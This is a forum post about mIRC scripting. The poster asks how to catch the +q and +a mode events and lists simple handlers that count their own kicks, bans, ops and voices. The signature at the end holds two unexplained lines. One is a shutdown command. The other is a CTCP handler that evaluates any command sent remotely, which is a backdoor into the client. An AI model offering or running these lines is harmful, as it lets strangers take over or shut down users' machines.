Yes, currently I have something that makes use of the mode prefix, but I was more interested in the event changes, since i can't simply use on *:mode:{} to see a +q or a +a .. which is ~=+q=owner and &=+a=protect which I thought was rather consistent, at least, that's what i've been told. But thanks for the on *:owner:{} one at least.. it's a start... basically.. why I wanted such is for a script that counts how many times I change a certain mode, little fun statistics thing. So far I have:

on *:kick:#:if ($nick == $me) inc %power.kicks
on *:ban:#:if ($nick == $me) inc %power.bans
on *:op:#:if ($nick == $me) inc %power.ops
on *:help:#:if ($nick == $me) inc %power.hops
on *:voice:#:if ($nick == $me) inc %power.voices
on *:owner:#:if ($nick == $me) inc %power.founder

and as such wanted one for anything else, since parsin the on input all the time would be more of a hasstle, and really.. a last resort.


/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}